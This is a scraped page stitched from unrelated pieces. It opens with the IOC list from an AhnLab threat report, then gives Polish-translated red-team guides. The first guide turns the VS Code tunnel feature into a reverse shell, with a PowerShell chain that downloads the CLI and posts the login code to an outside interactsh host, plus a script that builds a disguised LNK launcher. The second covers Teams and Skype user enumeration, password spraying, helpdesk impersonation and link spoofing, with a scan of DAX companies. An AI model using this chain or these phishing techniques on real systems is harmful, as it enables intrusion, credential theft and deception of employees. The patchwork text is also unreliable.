Exploit/Win.SweetPotato.C4093454 (2022.08.04.01)

Trojan/Win.Escalation.R524707(2022.10.04.02)

Trojan/Win.Generic.R457163(2021.12.09.01)

HackTool/Win64.Cve-2019-1458.R345589(2020.07.22.06)

Malware/Win64.Generic.C3164061 (2019.04.20.01)

Malware/Win64.Generic.C3628819 (2019.12.11.01)

Exploit/Win.Agent.C4448815 (2021.05.03.03)

Trojan/Win.Generic.C4963786 (2022.02.11.04)

Trojan/Win.Exploit.C4997833 (2022.03.08.01)

Exploit/Win.Agent.C5224192 (2022.08.17.00)

Exploit/Win.Agent.C5224193 (2022.08.17.00)

Trojan/Win32.RL_Mimikatz.R290617(2019.09.09.01)

Trojan/Win32.Mimikatz.R262842(2019.04.06.00)

Trojan/Win.Swrort.R450012(2021.11.14.01)

HackTool/Win.Lsassdump.R524859(2022.10.05.00)

HackTool/Win.ProxyVenom.C5280699(2022.10.15.01)

Unwanted/Win.Frpc.C5222534 (2022.08.13.01)

Unwanted/Win.Frpc.C5218508 (2022.08.03.03)

Unwanted/Win.Frpc.C5218510 (2022.08.03.03)

Unwanted/Win.Frpc.C5218513 (2022.08.03.03)

HackTool/Win.Frpc.5222544 (2022.08.13.01)

HackTool/Win.Frp.C4959080 (2022.02.08.02)

HackTool/Win.Frp.C5224195 (2022.08.17.00)

Unwanted/Win.Frpc.C5162558 (2022.07.26.03)

Malware/Win.Generic.C5173495 (2022.06.18.00)

HackTool/Win.LCX.C5192157 (2022.07.04.02)

HackTool/Win.LCX.R432995(2023.01.06.01)

HackTool/Win.Rsocx.C5280341(2022.10.15.00)

Backdoor/Win.BlueShell.C5272202(2022.10.05.00)

Trojan/Win.BlueShell.C5280704(2022.10.15.01)

Backdoor/Win.CobaltStrike.R360995(2022.09.20.00)

Unwanted/Win.Extractor.C5266516(2022.10.01.00)

Trojan/Win.RemCom.R237878(2023.01.07.00)

[IOC]


MD5 (정상 파일 제외)

– 웹쉘

0359a857a22c8e93bc43caea07d07e23

85a6e4448f4e5be1aa135861a2c35d35

4fc81fd5ac488b677a4c0ce5c272ffe3

c0452b18695644134a1e38af0e974172

6b4c7ea91d5696369dd0a848586f0b28

96b23ff19a945fad77dd4dd6d166faaa

88bef25e4958d0a198a2cc0d921e4384

c908340bf152b96dc0f270eb6d39437f

2c3de1cefe5cd2a5315a9c9970277bd7

e5b626c4b172065005d04205b026e446

27ec6fb6739c4886b3c9e21b6b9041b6

612585fa3ada349a02bc97d4c60de784

21c7b2e6e0fb603c5fdd33781ac84b8f

c44457653b2c69933e04734fe31ff699

e31b7d841b1865e11eab056e70416f1a

69c7d9025fa3841c4cd69db1353179cf

fca13226da57b33f95bf3faad1004ee0

af002abd289296572d8afadfca809294

e981219f6ba673e977c5c1771f86b189

f978d05f1ebeb5df334f395d58a7e108

e3af60f483774014c43a7617c44d05e7

c802dd3d8732d9834c5a558e9d39ed37

07191f554ed5d9025bc85ee1bf51f975

61a687b0bea0ef97224c7bd2df118b87

…(생략)


– 권한 상승

9fe61c9538f2df492dff1aab0f90579f

ab9091f25a5ad44bef898588764f1990

87e5c9f3127f29465ae04b9160756c62

ab9091f25a5ad44bef898588764f1990


4bafbdca775375283a90f47952e182d9

0311ee1452a19b97e626d24751375652

acacf51ceef8943f0ee40fc181b6f1fa

3cbea05bf7a1affb821e379b1966d89c

10f4a1df9c3f1388f9c74eb4cdf24e7c

b5bdf2de230722e1fe63d88d8f628ebc

edb685194f2fcd6a92f6e909dee7a237

e9bd5ed33a573bd5d9c4e071567808e5

fbae6c3769ed4ae4eccaff76af7e7dfe


937435bbcbc3670430bb762c56c7b329

fd0f73dd80d15626602c08b90529d9fd

29274ca90e6dcf5ae4762739fcbadf01

784becfb944dec42cccf75c8cf2b97e3

7307c6900952d4ef385231179c0a05e4

bcfca13c801608a82a0924f787a19e1d


75fe1b6536e94aaee132c8d022e14f85


d6cb8b66f7a9f3b26b4a98acb2f9d0c5


323a36c23e61c6b37f28abfd5b7e5dfe

7b40aa57e1c61ecd6db2a1c18e08b0af

3665d512be2e9d31fc931912d5c6900e


– 네트워크 스캔

1aca4310315d79e70168f15930cc3308


5e0845a9f08c1cfc7966824758b6953a

9b0e4652a0317e6e4da66f29a74b5ad7

d8d36f17b50c8a37c2201fbb0672200a

b998a39b31ad9b409d68dcb74ac6d97d

d5054ed83e63f911be46b3ff8af82267

e7b7bf4c2ed49575bedabdce2385c8d5


f01a9a2d1e31332ed36c1a4d2839f412 


d4d8c9be9a4a6499d254e845c6835f5f


– FRP

4eb5eb52061cc8cf06e28e7eb20cd055

0cc22fd05a3e771b09b584db0a161363

8de8dfcb99621b21bf66a3ef2fcd8138

df8f2dc27cbbd10d944210b19f97dafd

2866f3c8dfd5698e7c58d166a5857e1e

cbee2fd458ff686a4cd2dde42306bba1

3dc8b64b498220612a43d36049f055ab

31c4a3f16baa5e0437fdd4603987b812

b33a27bfbe7677df4a465dfa9795ff4a

7d9c233b8c9e3f0ea290d2b84593c842

c4f18576fd1177ba1ef54e884cb7a79d

5d33609af27ea092f80aff1af6ddf98d

622f060fce624bdca9a427c3edec1663

1f2432ec77b750aa3e3f72c866584dc3

d331602d190c0963ec83e46f5a5cd54a

21d268341884c4fc62b5af7a3b433d90

 

 

– FRP_INI

6a20945ae9f7c9e1a28015e40758bb4f

a29f39713ce6a92e642d14374e7203f0

7ce988f1b593e96206a1ef57eb1bec8a

fc9abba1f212db8eeac7734056b81a6e

9f55b31c66a01953c17eea6ace66f636

33129e959221bf9d5211710747fddabe

48b99c2f0441f5a4794afb4f89610e48

28e026b9550e4eb37435013425abfa38

2ceabffe2d40714e5535212d46d78119

c72750485db39d0c04469cd6b100a595

68403cc3a6fcbeb9e5e9f7263d04c02f

52ff6e3e942ac8ee012dcde89e7a1116

d82481e9bc50d9d9aeb9d56072bf3cfe

22381941763862631070e043d4dd0dc2

6b5bccf615bf634b0e55a86a9c24c902

942d949a28b2921fb980e2d659e6ef75

059d98dcb83be037cd9829d31c096dab

cca50cdd843aa824e5eef5f05e74f4a5

f6f0d44aa5e3d83bb1ac777c9cea7060

0ca345bc074fa2ef7a2797b875b6cd4d

f6da8dc4e1226aa2d0dabc32acd06915

0bbfaea19c8d1444ae282ff5911a527b

 

– LCX

a69d3580921ec8adce64c9b38ac3653a

c4e39c1fc0e1b165319fa533a9795c44

fb6bf74c6c1f2482e914816d6e97ce09

678dbe60e15d913fb363c8722bde313d

 

 

– 프록시 ETC

e0f4afe374d75608d604fbf108eac64f

 

f5271a6d909091527ed9f30eafa0ded6

 

ae8acf66bfe3a44148964048b826d005

 

– 측면이동

6983f7001de10f4d19fc2d794c3eb534

fcb7f7dab6d401a17bd436fc12a84623

 

– 정보 수집 및 자격 증명 탈취

bb8bdb3e8c92e97e2f63626bc3b254c4

80f421c5fd5b28fc05b485de4f7896a1

a03b57cc0103316e974bbb0f159f78f6

46f366e3ee36c05ab5a7a319319f7c72

7bd775395b821e158a6961c573e6fd43

 

b434df66d0dd15c2f5e5b2975f2cfbe2

 

c17cfe533f8ce24f0e41bd7e14a35e5e

 


 

– 백도어

011cedd9932207ee5539895e2a1ed60a

bc744a4bf1c158dba37276bf7db50d85

23c0500a69b71d5942585bb87559fe83

53271b2ab6c327a68e78a7c0bf9f4044

c87ac56d434195c527d3358e12e2b2e0

C2 및 URL (악용된 국내 기업 서버의 경우 표기 안함)

– Download C2

91.217.139[.]117


– Upload C2

205.185.122[.]95

91.217.139[.]117


– FRP & LCX C2

hxxp://sk1.m00nlight[.]top:80 (45.136.186.19) //MOACK_Co_LTD 업체 서버

hxxps://fk.m00nlight[.]top:443 (45.136.186.175:443) //MOACK_Co_LTD 업체 서버

hxxps://aa.zxcss[.]com:443 (45.93.31.122) //MOACK_Co_LTD 업체 서버

45.93.31[.]75:7777 //MOACK_Co_LTD 업체 서버

45.93.28[.]103:8080 //MOACK_Co_LTD 업체 서버

103.118.42[.]208

101.43.121[.]50


– Backdoor C2

45.93.31[.]75 //MOACK_Co_LTD 업체 서버

연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.



 CATEGORIES:악성코드 정보


TAGGED AS:ANTSWORD,APT,ASPXSPY,BADPOTATO,BITLOCKER,BITSADMIN,BLUESHELL,CERTUTIL,CHOPPER,COBALTSTRIKE,CONF.ASPX,CVE-2017-10271,CVE-2018-8639,CVE-2019-1458,DALBIT,DUHGGHMPERT.DMP,DUMPERT,달빗,EFSPOTATO,FF0.123456,FRP,FSCAN,GODZILLA,GOTOHTTP, HTRAN , ZŁOŚLIWE OPROGRAMOWANIE , KAMPANIA , JUICYPOTATO , LADON , LCX , M00NLIGHT , GŁÓWNY , MIMIKATZ , NPS , NTLTEST , PROCDUMP , RDP , REGEORG , ROTTENPOTATO , RSYNC , SWEETPOTATO , WEBLOGIC , XP_CMDSHELL


Wznowienie krajowej dystrybucji Magniber Ransomware (1/28)Cotygodniowe statystyki ASEC dotyczące złośliwego oprogramowania (20230123 ~ 20230129)

5

ocena w skali gwiazdkowej

Zaloguj sie

Gość

Bądź pierwszy który skomentuje!

0 KOMENTARZY

Szukaj...

SZAFKA

SZAFKA

Wybierz miesiąc

OTRZYMYWAĆ WIADOMOŚCI

Facebook

 

Świergot

 

kanał RSS

220 Pangyoyeok-ro, Bundang-gu, Seongnam-si, Gyeonggi-do, 13493 | CEO: Kang Seok-kyun | Numer rejestracyjny firmy: 214-81-83536 | Polityka prywatności

© AhnLab, Inc. Wszelkie prawa zastrzeżone.


Witryna rodzinna

 

Korea (koreański)



Let's Go (VS) Code — styl Red Team

$
0
0

Podpisany i hostowany przez firmę Microsoft Reverse Shell code.exe dzięki Visual Studio


MS oferuje podpisany plik binarny (code.exe), który ustanowi kanał Command&Control za pośrednictwem oficjalnej domeny Microsoft https://vscode.dev. Sama komunikacja C2 idzie do https://global.rel.tunnels.api.visualstudio.com przez WebSockets. Atakujący potrzebuje tylko konta Github.

https://badoption.eu/docs/blog/2023/01/31/code_c2.html

Ostatnio przeglądałem dokumentację MS i natknąłem się na te dwie strony.

https://code.visualstudio.com/docs/remote/tunnels

https://code.visualstudio.com/blogs/2022/12/07/remote-even-better

Dokumentacja tuneli VSCode Dokumentacja tuneli VSCode

Więc co my tu mamy? VSCode jest w stanie nawiązać połączenie ze zdalnym systemem.

  • Dobra, dobrze, ponieważ zdalne debuggery nie są nowe, nie tak ekscytujące, ale wszystko się poprawi.

Na końcu strony coś sprawia, że ​​rzeczy stają się trochę bardziej ekscytujące. Using the 'code' CLI

Dobra, jest do tego przenośny plik binarny, fajnie.

This CLI will output a vscode.dev URL tied to this remote machine, such as https://vscode.dev/tunnel/<machine_name>/<folder_name>. You can open this URL on a client of your choosing.

Dobra, jest domena MS, hosting kanału C2, sytuacja się poprawia. Plik binarny VSCode jest również zgodny z proxy i przenośny.

Działanie

Jeśli otrzymamy wykonanie kodu na kliencie i tutaj po prostu założymy, że to mamy, możemy wprowadzić przenośną wersję VSCode, kod CLI. Jeśli VSCode jest już zainstalowany, możemy po prostu trzymać się zainstalowanej wersji, nie ma to znaczenia. Zanurzmy się w krokach.

Przygotuj klienta

Ponieważ plik binarny jest podpisany przez Microsoft, nie musimy zajmować się Mark-of-the-Web, ponieważ zostanie on zignorowany, a także ominiemy Smartscreen. W połączeniu z niektórymi sztuczkami, które zobaczymy później, ominiemy także Applocker i Powershell Constrained Language Mode, jeśli są w domyślnej konfiguracji.

Certyfikat pliku binarnego jest następujący: Code.exe podpisany przez MS Code.exe podpisany przez MS

  • Uruchom plik binarny na kliencie.
PS C:\temp> .\code.exe tunnel
*
* Visual Studio Code Server
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
*
✔ Do you accept the terms in the License Agreement (Y/n)? · yes
To grant access to the server, please log into https://github.com/login/device and use code 71BC-3082
...
  • Postępujemy zgodnie z instrukcjami i otwieramy podany adres URL w naszym systemie atakującym. Zobaczymy uwierzytelnianie kodu urządzenia, znane z Azure. Uwierzytelnianie kodu urządzenia Github Uwierzytelnianie kodu urządzenia Github

  • Następnie zostanie ustanowiony tunel kodu.

PS C:\temp> .\code.exe tunnel
*
* Visual Studio Code Server
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
*

Open this link in your browser https://vscode.dev/tunnel/itsmeC2/C:/temp

Połącz przez przeglądarkę lub VSCode

Robimy więc, co nam kazano, i otwieramy stronę w przeglądarce na naszej maszynie atakującego.

Otrzymujemy ładny projekt roboczy na maszynie ofiary. Poprzez adres URL możemy kontrolować ścieżkę, co oznacza, że ​​jeśli użyjemy po prostu C: uzyskamy dostęp do wszystkich plików w systemie, w granicach uprawnień użytkownika. Więc otwórz https://vscode.dev/tunnel/itsmeC2/C: i dodaj C: do obszaru roboczego.

Przeglądarka plików Przeglądarka plików w miejscu docelowym

Fajnie, możemy zdalnie przeglądać, czytać i edytować wszystkie pliki.

Przeglądanie plików jest przyjemne, ale co z wykonywaniem poleceń? Po prostu mówimy: Menue -> Terminal -> New Terminal Zdalny Powershell Remote Powershell session

i otrzymujemy fajną zdalną sesję Powershell na kliencie.

Remoteshell ma wszystko, czego chcemy

  • Dostęp do historii
  • Podświetlanie składni
  • Zakończenie karty
  • Kontrola pracy - czyli interaktywna

Jest to dość responsywna, użyteczna zdalna sesja PowerShell.

Oprócz sesji Powershell istnieje kilka dodatkowych możliwości, takich jak uruchomienie zadania, „Uruchom i debuguj” plik lub możemy wykonać lokalne przekierowanie portów.

Fajną funkcją jest instalacja rozszerzeń na zdalnym hoście.

Na przykład możemy teraz uruchamiać niektóre skrypty Pythona, jeśli Python był zainstalowany na głównej maszynie. Jedno zastrzeżenie jest takie, że musimy zapisać plik na dysku, ale można to obejść.  Uruchamianie Pythona za pomocą zdalnie zainstalowanego rozszerzenia

Łączenie się przez VSCode Desktop jest proste, potrzebujesz tylko rozszerzenia, jak podano w oficjalnym MS Blogpost.

Zbuduj łańcuch ataków

Spróbujmy zbudować kompletny łańcuch ataków. Najpierw powinniśmy sprawdzić, czy możemy pozbyć się interaktywnej części uruchamiania tunelu i podać parametry w wierszu poleceń.

Możemy podać nazwę, aby uzyskać stałą nazwę instancji dla naszej sesji: .\code.exe tunnel --name itsmeC2V2

Następnie pojawia się problem z uwierzytelnieniem. Jeśli chodzi o https://github.com/microsoft/vscode/issues/170013 , musimy użyć tokena odświeżania Github OAuth do uwierzytelnienia.

Nie udało mi się uruchomić uwierzytelniania tokena Github OAuth, więc konieczny był dodatkowy krok, wysyłając kod urządzenia do usługi takiej jak https://app.interactsh.com/#/

Bardzo prosty łańcuch, bez zaciemniania, mógłby wyglądać mniej więcej tak.

cdC:\tmp#change folder
iwr-urihttps://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip-OutFilevscode.zip#download binary
Expand-Archivevscode.zip#Expand the zip
cdvscode
.\code.exetunneluserlogout#logout previous user, if existing
Start-Sleep3
Start-Process-FilePath.\code.exe-ArgumentList"tunnel --name Ooooopsie2000"-RedirectStandardOutput.\output.txt#start tunnel and redirect the output to a txt file
Start-Sleep3
iwr-uricf8ryhj2vtc0000w93v0g8wcxjyyyyyyb.oast.fun-MethodPost-Body(Get-Content.\output.txt)#Post output to interact.sh for the code

Możemy zbudować skrót, aby uruchomić łańcuch.

#Payload
$EXEPath="$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"
$pay='cd C:\tmp; iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .\code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .\code.exe -ArgumentList "tunnel","--name","Ooooopsie2000" -RedirectStandardOutput .\output.txt; Start-Sleep 3; iwr -uri cf9dk1w2vtc0000vhr10g8ws3ohyyyyyb.oast.fun -Method Post -Body (Get-Content .\output.txt)'
$arguments=" -nop -c $pay"

#lnk file
$LNKName=123
$obj=New-Object-ComObjectWScript.Shell
$link=$obj.CreateShortcut((Get-Location).Path+"\"+$LNKName+".lnk")
$link.WindowStyle='7'
$link.TargetPath=$EXEPath
$link.IconLocation="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$link.Arguments=$arguments
$link.Save()

Skype, MS Teams, Lync - Red Team style

$
0
0

Jak Twój komunikator używany do komunikacji wewnętrznej może zagrozić Twojej firmie

W tym wpisie na blogu przedstawiono niektóre techniki dotyczące komunikatorów Microsoft Skype-for-Business (S4B) i Microsoft Teams dotyczące atakowania sieci firmowej.

Poniżej przedstawiono tylko niektóre dobrze znane techniki, które działają zbyt często, a firmy i pracownicy nie są tego świadomi. Wskaźnik sukcesu tego rodzaju phishingu/inżynierii społecznej jest bardzo wysoki.


Większość nazwanych punktów pochodzi z bloga mdsec lub mr.d0x .

dr

  • S4B w wersji hostowanej samodzielnie umożliwia wyliczanie użytkowników na podstawie czasu i rozpylanie haseł w całej usłudze Active Directory, a nie tylko w przypadku użytkowników posiadających konto Skype
  • S4B, jeśli włączona jest komunikacja zewnętrzna, umożliwia atakującym wysyłanie wiadomości bezpośrednio do pracowników
  • Teams, nawet jeśli komunikacja zewnętrzna jest zabroniona, pozwala na wyliczanie użytkowników poprzez adresy e-mail,
  • Zespoły, jeśli komunikacja zewnętrzna jest włączona, umożliwiają wyliczanie użytkowników, gromadzenie informacji o statusie i wysyłanie wiadomości bezpośrednio do pracowników przez osoby atakujące
  • Jeśli używany jest adres aliasu, np <<ADUSER>>.company.org. Teams i S4B z radością rozwiążą użytkownika AD na imię i nazwisko

Wstęp

Kiedy mówimy o Skype-for-Business (S4B), należy zauważyć, że poprzednik Lync również prawdopodobnie jest dotknięty tymi samymi lukami.

S4B

Wykrywanie programu Skype dla firm (S4B)

S4B często można wykryć za pośrednictwem subdomeny o nazwie lyncdiscover.company.org. Jeśli domena istnieje, zwykle zwraca plik XML, który ujawnia, gdzie można znaleźć serwer S4B.

(curl https://lyncdiscover.##OnPrem##.com).rawcontent
HTTP/1.1 200 OK
X-MS-Server-Fqdn: SI0PLY01.de.##OnPrem##.com
[...]

{"_links":{"self":{"href":"https://si-pool1-webext.##OnPrem##.com/Autodiscover/AutodiscoverService.svc/root?originalDomain=##OnPrem##.com"},"user":{"href":"https://si-pool1-webext.##OnPrem##.com/Autodiscover/AutodiscoverService.svc/root/oauth/user?originalDomain=##OnPrem##.com"},"xframe":{"href":"https://si-pool1-webext.##OnPrem##.com/Autodiscover/XFrame/XFrame.html"}}}

Jeśli S4B jest hostowane przez firmę Microsoft, odpowiedź będzie wyglądać następująco:

(curl http://lyncdiscover.##OnMS##.com).rawcontent
HTTP/1.1 200 OK
[...]

{"_links":{"self":{"href":"https://webdirgb1.online.lync.com/Autodiscover/AutodiscoverService.svc/root?originalDomain=##OnMS##.com"},"xframe":{"href":"https://webdir1E.online.lync.com/Autodiscover/AutodiscoverService.svc/root/xframe"},"redirect":{"href":"https://webdir1E.online.lync.com/Autodiscover/AutodiscoverService.svc/root?originalDomain=##OnMS##.com"}}}

Jeśli skorzystasz z łącza do serwera S4B, możesz otrzymać odpowiedź 403 - Forbidden: Access is denied.Nadal możesz zidentyfikować S4B za pomocą favicon lub możesz po prostu spróbować dotrzeć do /schedulerpunktu końcowego. Ten punkt końcowy wyświetla wspaniałą stronę logowania do wykrywania wewnętrznych poświadczeń usługi ActiveDirectory. Punkt końcowy harmonogramu Punkt końcowy harmonogramu

Uwierzytelnianie NTLM

Jeśli instancja S4B jest lokalna, istnieje kilka punktów końcowych, które umożliwiają uwierzytelnianie NTLM.

Punkt końcowy umożliwiający uwierzytelnianie NTLM powoduje wyciek pewnych przydatnych informacji dla atakującego. Za pomocą narzędzia NTLMRecon lub starego, dobrego skryptu nmap możemy zebrać nazwę hosta i, co ważniejsze, wewnętrzną nazwę domeny (FQDN).

NMAP Wyodrębnianie danych domeny za pomocą Nmap NTLMRecon Wyodrębnianie danych domeny za pomocą NTLMRecon

Ponadto punkty końcowe uwierzytelniania NTLM doskonale nadają się do rozpylania haseł, ponieważ szybkość uwierzytelniania NTLM jest dość duża i pozwala również na wielowątkowość.

Wyliczanie użytkowników

Jeśli już odkryliśmy składnię użytkownika przez OSINT, możemy po prostu zweryfikować konta tutaj. Dużym plusem S4B w środowisku hostowanym samodzielnie jest to, że wysyła zapytania do całego ActiveDirectory, a także zgłasza użytkowników, którzy zdecydowanie nie mają konta Skype, na przykład użytkownika krbtgt, którego można użyć do sprawdzenia, czy wszystko działa.

Przydatne są tutaj narzędzia takie jak lyncsmasher lub możemy po prostu użyć beknięcia do pomiaru czasu odpowiedzi. Prawidłowy użytkownik będzie miał znacznie krótszy czas odpowiedzi niż nieprawidłowy. Zwykle różnica powinna wynosić około 500 ms dla prawidłowego użytkownika i 5 s dla nieprawidłowego użytkownika. Jeśli konto jest wyłączone, S4B poinformuje o tym w wiadomości.

Należy pamiętać, że S4B zwykle przyjmuje albo adres e-mail, albo nazwę użytkownika z prefiksem domeny, npAD-Customer\MMustermann

Statystycznie prawdopodobne

Jeśli nie znamy składni użytkownika lub po prostu chcemy zebrać więcej użytkowników, możemy użyć specjalnych list, takich jak repozytorium https://github.com/insidetrust/statistically-likely-usernames lub zebrać własne listy, np. przykład z typowymi nazwiskami dla tego kraju z wikipedii. Aby utworzyć konta z większą różnorodnością, możemy również wypróbować proste narzędzia, takie jak namemash .

Pamiętaj, że jeśli nazwa użytkownika zawiera niestandardowy przedrostek (np. DE1) lub sufiks, ta technika może się nie powieść.

Rozpylanie hasła

Skype odpowie nam na różne sposoby.

  • Jeśli użytkownik nie istnieje, odpowiedź będzie zwykle trwała około 5 sekund lub przynajmniej znacząco dłużej niż wtedy, gdy mamy prawidłowego użytkownika.
  • Jeśli wprowadziliśmy nieprawidłowe hasło, Skype poinformuje nas o tym
  • Jeśli konto jest wyłączone, Skype poinformuje nas o tym
  • Jeśli mamy ważne dane uwierzytelniające, ale konto nie ma konta Skype, otrzymamy wiadomość
  • Jeśli możemy zalogować się do Skype

Ław Ław Ław Ław Ław Ław

Masz kredyty?

S4B domyślnie nie obsługuje MFA, więc możesz zalogować się np. pod /schedulerpunktem końcowym. Tutaj masz możliwość podjęcia łatwego wyliczenia użytkowników za pomocą funkcji check namesspotkania. Możesz tutaj przesłać kilka tysięcy nazw i zobaczyć, które nazwy zostaną rozwiązane. Punkt końcowy z radością przetłumaczy użytkownika AD na wiadomość e-mail, jeśli jest połączone konto.

Harmonogram Skype'a Harmonogram Skype'a

I pamiętaj, aby sprawdzić https://aka.ms/mfasetup , ponieważ kontrolowany przez atakującego, dodany MFA jest całkiem przydatny.

Skype / Teams hostowane przez firmę Microsoft

Gdy Microsoft ogłosił w 2021 r., że zmienia domyślne ustawienie komunikacji zewnętrznej w usłudze Teams , cyberprzestępcy i RedTeams na całym świecie świętowali. Otworzyło to nowe drzwi dla wysoce skutecznych ataków phishingowych. Komunikacja zewnętrzna jest teraz domyślnie dozwolona i musi być aktywnie wyłączona.

Najemca testowy

Aby zaatakować takie ustawienie, potrzebujemy AAD z kontem Teams. Darmowa wersja Teams działa do wyliczania, ale prawdopodobnie nie będzie działać do komunikacji lub wyświetlania przynajmniej większej liczby ostrzeżeń.

Microsoft oferuje możliwość zarejestrowania deweloperskiego AAD. https://developer.microsoft.com/en-us/microsoft-365/dev-program

Deweloper-AAD Deweloper-AAD Brzmi świetnie, prawda :)

Istnieją pewne ograniczenia, na przykład nie można udostępniać publicznie dostępnych plików. Jednak usługa Teams działa świetnie i możemy (nad)używać tego, aby zagrozić naszemu celowi.

Sidenote: TestAAD pozwala nam również wysyłać e-maile. Jednak wynik wychodzącego SMTP jest tak zły, że sam Microsoft nie akceptuje tych e-maili dla innych najemców. Ale oczywiście może istnieć wiele firm, które nadal akceptują tego rodzaju e-maile.

Wyciek informacji o użytkownikach

Czasami Skype zezwala na komunikację z użytkownikami zewnętrznymi, czyli z innym dzierżawcą. Korzystając z Teams, możliwe jest również wysyłanie zapytań przez Skype'a. Dlatego możemy sprawdzić od dzierżawcy z dostępem do Teams, czy komunikacja zewnętrzna jest dozwolona.

Jeśli komunikacja zewnętrzna jest dozwolona, ​​możemy zebrać status użytkownika (dostępny, zajęty, dnd, poza biurem).

Deweloper-AAD Wyliczanie użytkowników

Ale nawet jeśli nie, nadal możemy zweryfikować e-maile z firmą, ponieważ Teams zwróci inną wiadomość, jeśli użytkownik istnieje. Deweloper-AAD Wyliczanie użytkowników

Możemy to również zrobić w sposób zautomatyzowany, albo przez proxy (Burp Suite) albo przez GoMapEnum .

Wyłudzanie informacji przez Skype lub Teams (skyshing / tishing)

Czasami Skype umożliwia komunikację z użytkownikami zewnętrznymi, czyli z innym dzierżawcą. Ponieważ Skype jest zwykle uważany za narzędzie do komunikacji wewnętrznej, jest to bardzo skuteczny wektor phishingu!

Dodatkową ciekawą funkcją jest to, że wiadomość zostanie wysłana jako e-mail, jeśli przez jakiś czas nie było reakcji. To pozwala nam wysłać wiadomość e-mail, technicznie pochodzącą z wewnętrznego serwera Skype do użytkownika. Ta poczta zwykle nie jest oflagowana jako zewnętrzna, a także nie trafia do kwarantanny.

Fałszowanie osoby kontaktowej

Dzięki naszemu programiście AAD możemy dodawać użytkowników według własnego uznania. Na przykład możemy dodać użytkownika o nazwie ithelpdesk@company.com jako pseudonim. Niestety, nie możemy tego po prostu poprawić, dodając ogólne logo firmy jako zdjęcie profilowe, ponieważ zdjęcie profilowe nie jest udostępniane wszystkim najemcom.

Deweloper-AAD Pokaz tożsamości

Jeśli rozpoczniemy czat grupowy zamiast czatu jeden na jednego, pojawią się inne i bardziej niebezpieczne scenariusze z perspektywy obrońcy. Dość skutecznym atakiem jest jednoczesne zaatakowanie dwóch pracowników.

Jeśli spojrzymy na konto, jest to dość mylące i oszukuje ludzi, aby uwierzyli w tożsamość konta. Tylko po najechaniu kursorem na podgląd konta pojawi się pełny adres, it-helpdeskcompany@t0#####.onmicrosoft.comktóry jest nadal dość godny zaufania, ponieważ onmicrosoft.come-maile są używane dla każdego AAD w tle. Ponadto, ponieważ nazwę AAD można wybrać podczas fazy konfiguracji, możliwe jest również wybranie czegoś takiego jak selfservice-company.onmicrosoft.com.

Fałszowanie

S4B / Teams nie oferuje również ochrony przed fałszowaniem rzeczy w wiadomościach. Na przykład możliwe jest proste fałszowanie kodu HTML. Oznacza to, że tekst i link wskazują różne strony. Patrząc na żądania niezbędne do wysłania nowej wiadomości, dość oczywiste jest, jak zmienić tagi. Deweloper-AAD Fałszowanie linku

By doing this, it is possible to craft messages, which open a malicious URL despite showing a company owned URL. Deweloper-AAD Spoofed link in message

This is a very well-known attack vector for emails and most appliances detect this technique for emails.

Analysis of TOP DAX companies

To further provide some data about the possible risk, the DAX-Companies have been quickly analyzed. The DAX (Deutscher Aktienindex (German stock index) is the most important stock market index consisting of 40 major German companies:

  • Adidas
  • Airbus
  • Allianz
  • BASF
  • Bayer
  • Beiersdorf
  • BMW
  • Brenntag
  • Continental
  • Covestro
  • Daimler Truck
  • Deutsche Bank
  • Deutsche Börse
  • Deutsche Post
  • Deutsche Telekom
  • E.ON
  • Fresenius
  • Fresenius Medical Care
  • Hannover Rück
  • HeidelbergCement
  • HelloFresh
  • Henkel
  • Infineon
  • Linde
  • Mercedes-Benz Group
  • Merck
  • MTU Aero Engines
  • Münchener Rück
  • Porsche SE
  • Puma
  • Qiagen
  • RWE
  • SAP
  • Sartorius
  • Siemens
  • Siemens Healthineers
  • Symrise
  • Volkswagen
  • Vonovia
  • Zalando

These companies have been analyzed in regard to their S4B or Teams infrastructure. The following very simple methodic was used:

Find the main domain and some email addresses

To gather some email addresses and the main domain, common third party tools can be used. Just to name some: phonebook.cz, … Just take the TLD with the most hits, in most cases this is good.

Deweloper-AAD Collect some emails for checks

Check for Lync / S4B

Enumerate some subdomains to identify Lync / S4B installations. The most common subdomains are:

  • lyncdiscover.company.org
  • meet.company.org
  • dialin.company.org
  • lync-fe.company.org

The following script was used:

add-type@"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@

$AllProtocols=[System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
[System.Net.ServicePointManager]::SecurityProtocol=$AllProtocols
[System.Net.ServicePointManager]::CertificatePolicy=New-ObjectTrustAllCertsPolicy


$dax=Import-CsvD:\dax.csv# A list with the DAX domains
$dax|ForEach-Object{$u="https://lyncdiscover.$($_.domain)";$u;iwr-uri$u}
$dax|ForEach-Object{$u="https://meet.$($_.domain)";$u;iwr-uri$u}
$dax|ForEach-Object{$u="https://dialin.$($_.domain)";$u;iwr-uri$u}
$dax|ForEach-Object{$u="https://lync-fe.$($_.domain)";$u;iwr-uri$u}

Identify if external collaboration is enabled

By querying the endpoint https://teams.microsoft.com/api/mt/part/emea-03/beta/users/FIRST.LAST@company.com/externalsearchv3?includeTFLUsers=true with the adjusted data from the email gathering, or by just using the search field in the webclient, we can detect what setup is in use. A typical result will look like this: Deweloper-AAD Result of the external collaboration

Outcome

The results of the checks are a little bit suprising:

  • 24 / 40 still have S4B in place, some hosted by Microsoft (online.lync.com).
  • 08 / 40 have a self hosted and reachable S4B instance
  • 35 / 40 use Teams or Teams <-> S4B interaction
  • 10 / 40 allow external tenant communication

